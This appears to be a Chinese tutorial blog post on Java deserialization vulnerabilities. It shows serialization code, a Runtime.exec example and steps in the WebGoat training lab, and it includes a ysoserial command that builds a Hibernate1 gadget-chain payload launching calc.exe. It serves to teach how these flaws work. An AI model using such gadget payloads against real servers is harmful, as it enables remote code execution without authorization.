java 反序列化 漏洞parseObject 增加校验_java

#序列化和反序列化

序列化 (Serialization):将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。

反序列化:从存储区中读取该数据,并将其还原为对象的过程,称为反序列化。

  • Java反序列化及命令执行代码测试
  1. 在IDE创建一个package包,包名为SerialTest
  2. 包中创建三个类文件 Main  Person  SerializableTest

Main文件代码

// 执行DOS命令

package SerialTest;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import java.nio.charset.Charset;public class Main {    public static void main(String args[]) throws IOException, InterruptedException {        Process p = Runtime.getRuntime().exec("ipconfig");        java.io.InputStream is = p.getInputStream();        BufferedReader reader = new BufferedReader(new InputStreamReader(is, Charset.forName("GBK")));        p.waitFor();        if (p.exitValue() != 0){            // 命令执行失败 进入错误处理步骤中        }        String s = null;        while ((s = reader.readLine()) != null){            System.out.println(s);        }    }}

Person 文件  

// 待调用类

package SerialTest;import com.sun.xml.internal.ws.server.ServerRtException;import java.io.Serializable;class Person implements Serializable {    private String name;    private int age;    private String sex;    private int height;    public Person(){        this.name = null;        this.age = 0;        this.sex = null;        this.height = 0;    }    public Person(String name,int age,String sex,int height){        this.name = name;        this.age = age;        this.sex = sex;        this.height = height;    }    public   String toString(){        return "Persion{" +                "name=" + name +                ", age=" + age +                ", sex=" + sex +                ", height=" + height +                "}";    }}

SerializableTest 文件

// 序列化

package SerialTest;import java.io.*;public class SerializableTest {    public static void main(String[] args) throws Exception {        serialPerson();        Person person = deserialPerson();        System.out.println(person);    }    /**     * Person 对象序列化     * @throws IOException     */    private static void serialPerson() throws IOException{        Person person = new Person("阿杰",20,"男",175);        ObjectOutputStream oos = new ObjectOutputStream(                new FileOutputStream(new File("F:/person.txt"))        );        oos.writeObject(person);        System.out.println("person 对象序列化成功!");        oos.close();    }    /**     * Person 对象反序列化     * @return     * @throws Exception     */    private static Person deserialPerson() throws Exception {        ObjectInputStream ois = new ObjectInputStream(                new FileInputStream(new File("F:/person.txt"))        );        Person person = (Person)ois.readObject();        System.out.println("person 对象反序列化成功!");        return person;    }}

java 反序列化 漏洞parseObject 增加校验_反序列化_02

java 反序列化 漏洞parseObject 增加校验_序列化_03

代码分析

java中 在ObjectOutputStream类中 有一个writeObject()方法 把指定的对象进行序列化后把字节序列写到一个目标输出流中ObjectInputStream类中 readObject()方法 从一目标输入流中读取字节序列进行反序化成一个对象 再把结果返回代码中定义了一个person类 类中含有成员属性 使用writeObject()方法 把对象序列化写进一个文本里 然后在使用readObject() 方法 从文件中读取字节序列 在还原成源对象

目前没有此文件 运行后

java 反序列化 漏洞parseObject 增加校验_序列化_04

java 反序列化 漏洞parseObject 增加校验_java_05

写入文件中的是字节序列 通过readObject()方法 再将对象还原。

如果对象不是字符串 而是一些命令 则反序列化后 利用java exec命令函数进行执行 就会产生命令执行漏洞。

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。php(system()、shell_exec()、exec()、eval())JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)ThinkPHP命令执行

比如下图:

执行了ipconfig系统命令

java 反序列化 漏洞parseObject 增加校验_序列化_06

  • WebGoat_Javaweb靶场反序列化测试

cmd  输入 java -jar  webgoat-server-8.0.1.jar

注:JDK8 无法运行 版本较低 安装11以上的版本

浏览器输入 127.0.0.1:8080/WebGoat   

注册一个账号即可

java 反序列化 漏洞parseObject 增加校验_反序列化_07

java 反序列化 漏洞parseObject 增加校验_反序列化漏洞_08

部分源码示例

public static Object fromString(String s)    throws IOException, ClassNotFoundException{    byte[] data = Base64.getDecoder().decode(s);    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));        Object o = ois.readObject();    ois.close();    return o;  }    public static String toString(Serializable o)    throws IOException{    ByteArrayOutputStream baos = new ByteArrayOutputStream();    ObjectOutputStream oos = new ObjectOutputStream(baos);    oos.writeObject(o);    oos.close();    return Base64.getEncoder().encodeToString(baos.toByteArray());  }

将对象序列化后 进行base64加密 变成了图片中的一堆字符

rO0ABXQAVklmIHlvdSBkZXNlcmlhbGl6ZSBtZSBkb3duLCBJIHNoYWxsIGJlY29tZSBtb3JlIHBvd2VyZnVsIHRoYW4geW91IGNhbiBwb3NzaWJseSBpbWFnaW5l

字符串    ——>  字节序列   序列化  writeObject()

字节序列  ——>  字符串     反序列化  readObject()

java 反序列化 漏洞parseObject 增加校验_反序列化漏洞_09

如何构造payload?

calc  ---->  序列化  ---->  base64加密=rO0AB格式开头的字符串  

java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-master-30099844c6-1.jar ysoserial.GeneratePayload Hibernate1 calc.exe > payload.bin

java 反序列化 漏洞parseObject 增加校验_java_10